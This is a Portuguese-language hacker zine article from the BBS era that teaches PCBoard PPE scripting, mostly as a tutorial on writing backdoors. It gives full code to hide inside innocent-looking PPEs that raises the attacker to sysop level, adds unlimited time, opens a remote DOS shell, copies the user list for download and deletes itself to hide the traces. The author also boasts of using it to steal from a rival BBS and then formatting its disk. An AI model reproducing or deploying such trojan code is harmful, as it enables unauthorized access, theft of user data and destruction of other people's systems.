BBS MODING
Death Knights Issue 1
by BK
Vamos logo ao que importa...
PCBoard:
Pra lamaiada q nao sabe nem o q e PCBoard...
pare de ler aki...
pra quem sabe... vo ensinar a vc fazer algo mais pela sua BBS
PS: Ja tive BBS ... foi bom enquanto durou... depois enjuei e fechei!
foi a melhor BBS q teve aki (Ribeirao Preto)
BuRNiNG iN HeLL BBZ
funcionava das 23:00 as 6:00
no primeiro dia teve 25 ligacoes :) (pruma BBS pirata... e q funciona por
menos de 12 horas... ta muito bom!)
Como fazer PPE?
Bom.. PPE = Pcboard Programming eXecutable
blz.. vamo la
primeiro de tudo..
vc tem q declarar as variaveis
por exemplo.. vo fazer um PPE q apareca um determinado nome q foi salvo
numa variavel
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
String Nome
Tdk = "BK"
Cls
AnsiPos 25,12
Print Tdk
Delay 10
End
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Vo explicar como funciona isso ai em cima
- String (Variavel a ser declarada) (String e usada pra Variavel alfanumerica no caso de vc fazer uma calculadora em PPE.... nao sera usada "String" e sim "Integer" q e uma variavel Numerica)
- Tdk (e o nome da variavel q vc declarou .. podia ser qualquer otra coisa)
- Cls (nem vo falar)
- AnsiPos (serve pra vc dizer onde vc quer q apareca uma determinada palavra e tal)
- AnsiPos 25,12 (X,Y .. ou seja... X = 25 e Y = 12 (no meio da tela)
- Print (serve pra q apareca algo na tela ... normalmente o q ta na frente do Print)
- Print Tdk (ou seja.. na posicao 25x 12y ira' aparecer a variavel Tdk q e' = a BK)
- Delay (e um tempo de espera ... nao e = a 10 secs ... mas e um bom tempo pra finalizacao de um PPE)
End (tbm nem vo falar nada)
e isso...
agora... vamos pros niveis mais avancados... agora vc so vai intender c vc tiver muita facilidade ou tiver base em otra linguagem de programacao ou vc ja souber bastante de PPE
Como fazer uma BackDoor?
uau.. isso e massa!
BackDoor rulez!
blz.. vamo la'!
PS: essas BackDoors ... foram feitas pra serem adicionadas em algum PPE veja c nao seja burro e compile somente a BackDoor e passe pro SysOp pq na hora q ele executar ja vai saber q e BacKD00r! tipo..
coloque uma telinha ANSi bunitinha ... q rode sobre um PPE de UserInfo ou um Bank.... ou .. ah.. sei la.. o q te vier na cabeca.. vc nao e tao burro assim! :P
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
;*******************************************************
; BACK DOOR DE AUMENTAR O TEMPO, NIVEL DE SEGURANCA *
; E DE COLOCAR UMA CERTA QUANTIDADE DE NUMEROS NO *
; COMENTARIO2! (alguns bancos de tempo guardam o tempo *
; nesse lugar,fazendo com q tenha tempo infinito) *
; *
IF ((U_NAME() == "SeuNome")) THEN
GETUSER
U_SEC = "110"
ADJTIME 1000
U_CMNT2 = "999999999999999999"
PUTUSER
;*******************************************************
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------explicacao pros ignorantes! :)
- IF ((U_NAME() == "SeuNome")) THEN (isso significa... Se o UserName for igual `a (seunome) ENTAO..)
- GetUser (e tipo vai ate as informacoes desse user)
- U_SEC = "110" (ajusta seu nivel de seguranca pra 110 (geralmente 110 e o nivel maximo .. q e' dado ao SysOp)
- AdjTime 1000 (qto tempo vc tem por dia na BBS? 1 hora? agora vc tera' sua 1hora mais 1000 minutos :)
- U_CMNT2 = "9999999999999999" (bom isso nao e tao importante.... mas eu usei aki.. por q eu vi num Bank Time duma bbs daki q o tempo depositado fica no UserComment2 ... intawm... c vc colocar tudo akilo no UserComment2.. e executar o Bank da BBS (nem todos Bank Time usam isso ... so os qual o SysOp for muito otario ) ira' aparecer como tempo disponivel o numero q vc colocar la'!
- PutUser (serve pra confirmar as novas informacoes!)
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
;*******************************************************
; BACK DOOR DE CARREGAR O COMMAND.COM!! *
; MOTIVO= FORMATAR O HD DA BBS CONCORRENTE OU PEGAR *
; INFORMACOES PRIVADAS, ex: USER LIST *
INT INT001
IF ((U_NAME() = "SeuNome")) THEN
Shell 1, INT001, "COMMAND COM2", ""
;*******************************************************
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Explicacao:
- INT INT001 (variavel declarada.. nao e igual string e integer ... e tbm nao vo explicar o q e' .. como eu disse.. aki e pros mais avancados... c vc sabe algo de PASCAL / C / ASM .. ta blz... funciona igual (int) )
- IF .............. (se o nome for igual "seunome" entao...
- Shell (pra executar um comando do DOS) intawm fica
- Shell 1, Int001(1), "COMMAND COMx"(2), ""(3)
- (variavel q nao precisa ter definicao alguma .. pois e INT)
- (carrega o COMMAND.com ... tipo.. COMMAND COM(porta do modem) (porta do modem nao e'do seu modem sacou sua anta...e a porta em q o modem da BBS esta')
- (deixa do jeito q ta'! pois e pra complementar o comando "Shell")
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
;*************************************************************************************
; BACK DOOR PARA CAIR PRO DOS, PUXAR O USER LIST, AUMENTAR O NIVEL
; E PRA DELETAR O PPE
;
STRING STRING001
STRING STRING002
STRING STRING003
STRING STRING004
INT INT001
CLS
ANSIPOS 2,5
PRINT "@X0FDigite 1 pra CAIR pro DOS, 2 pra puxar o USER LIST, 3 para nivel 110, 4 para deletar o PPE"
ANSIPOS 13,8
INPUTTEXT "@X0FQual a sua opcao? _", STRING001, 1, 1
IF ((STRING001 == 1)) THEN
ANSIPOS 6,10
INPUTTEXT "@X0FQual a porta q vc deseja usar pra CAIR pro DOS? _", STRING003, 1, 1
SHELL 1, INT001, "COMMAND COM" + STRING003, ""
ENDIF
IF ((STRING001 == 2)) THEN
SHELL 1, INT001, "COPY C:\PCB\MAIN\USERS C:\TDK.TXT", ""
FLAG "C:\TDK.TXT"
ENDIF
IF ((STRING001 == 3)) THEN
GETUSER
U_SEC = "110"
ADJTIME 100
PUTUSER
ENDIF
IF ((STRING001 == 4)) THEN
DELETE PPEPATH() + "BIH-BOOT.PPE"
ENDIF
ENDIF
;**************************************************************************************************
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Explicacao:
as "String" vc ja sabe o q e'
INT tbm... c nao sabe deixa do jeito q ta'
bom.. vo explicar so os comandos mais novos.. q vc ainda nao viu nos eskemas a cima!
INPUTTEXT (vc vai digitar aki! no caso do primeiro INPUTTEXT .. vc vai digitar a opcao!)
IF ((STRING001 == 1)) THEN... (Se a opcao escolhida for = a "1".. ENTAO..) dai pra frente e igual...
blz.. vamo pro IF ((STRING002 == 2)) THEN akele Shell ali.. executa um comando no DOS .. ele vai copiar o arkivo de USER
pro C:\ criando um TDK.TXT (Geralmente o arkivo de user fica no C:\PCB\MAIN\USERS)
ai e com vc...
ajuste a BackDoor pro Drive onde roda a BBS e pro Dir onde ta o PCBoard
FLAG (marca um arkivo.. no caso.. TDK.TXT)
blz.. faca o download... nao e tao complicado de entender o arkivo!
aaaaaaah... os ENDIFs serve pra vc finalizar um IF (hehehe tem q ser MUITO BURRO pra nao saber isso)
STRING001 = 3 ali serve pra almentar seu nivel
STRING001 = 4 (bom... essa backdoor q eu fiz... usei pra pegar o userlist de uma bbs e essa backdoor ficava dentro de um PPE de BOOT q eu fiz pressa BBS intawm tem a linha q deleta o PPE prele nao perceber q foi de la' q deu problema (nao q ele va' descobrir.. mas de repente ele pega um decompilador e comeca a decompilar tudo quante' ppe q ele tem e tal.. ) e depois usei o nome do SysOp pra catar uma porrada de arkivo e depois... como nao precisava mais da BBS... hehehe adivinha o q eu fiz! :)))
tipo..
C:\> format c: /q /autotestisso refresca sua memoria? :)
PS: se o SysOp descobrir q foi voce... o problema e teu...
eu fiz isso 3:00 da matina!
pensa um poko e faca isso tbm nesse horario ... bom.. eu nao tenho nada a ver com isso!
;**********************************************************************************
; TODAS AS BACK DOORS A CIMA!! *
; *
; *
;
STRING STRING0011
STRING STRING0012
STRING STRING0013
IF (U_NAME() == "BUG MASTER") THEN
CLS
ANSIPOS 1,5
PRINT "@X0FDigite 1 DOS, 2 pra USER LIST, 3 para nivel, 4 para deletar o PPE"
ANSIPOS 13,8
INPUTTEXT "@X0FQual a sua opcao? _", STRING0011, 1, 1
IF ((STRING0011 == 1)) THEN
ANSIPOS 6,10
INPUTTEXT "@X0FQual a porta q vc deseja usar? _", STRING0012, 1, 1
SHELL 1, INT001, "COMMAND COM" + STRING0012, ""
ENDIF
IF ((STRING0011 == 2)) THEN
SHELL 1, INT001, "COPY C:\PCB\MAIN\USERS C:\PCB\PPL\TDK.TXT", ""
FLAG "C:\PCB\PPL\TDK.TXT"
ENDIF
IF ((STRING0011 == 3)) THEN
ANSIPOS 15,9
inputtext "Qual o novo nivel? _", STRING0013, 3, 3
GETUSER
U_SEC = STRING0013
ADJTIME 100
PUTUSER
ENDIF
IF ((STRING0011 == 4)) THEN
DELETE PPEPATH() + "CARRIER.PPE"
ENDIF
ENDIF
;**********************************************************************************Explicacao:
essa ai tem tudo
eu usei num PPE q eu fiz pra mesma BBS ... so q era um ppe de testar conexao e tal... intawm tem opcao pra deletar o PPE agora q ja expliquei tudu la pra cima... leia ai'.. larga de ser burro e tenta aprender
PS: nao existe curso de PPE... intawm.. aprenda sozinho... assim como eu fiz!
.oO0=-> BBS MoDd!NG <-=0Oo. By BK!
Qualquer coisa to em algum IRC server da BrasNET
meu nick = BK
mas pelamordedeus nao me venha com pergunta escrota!
[]'s!
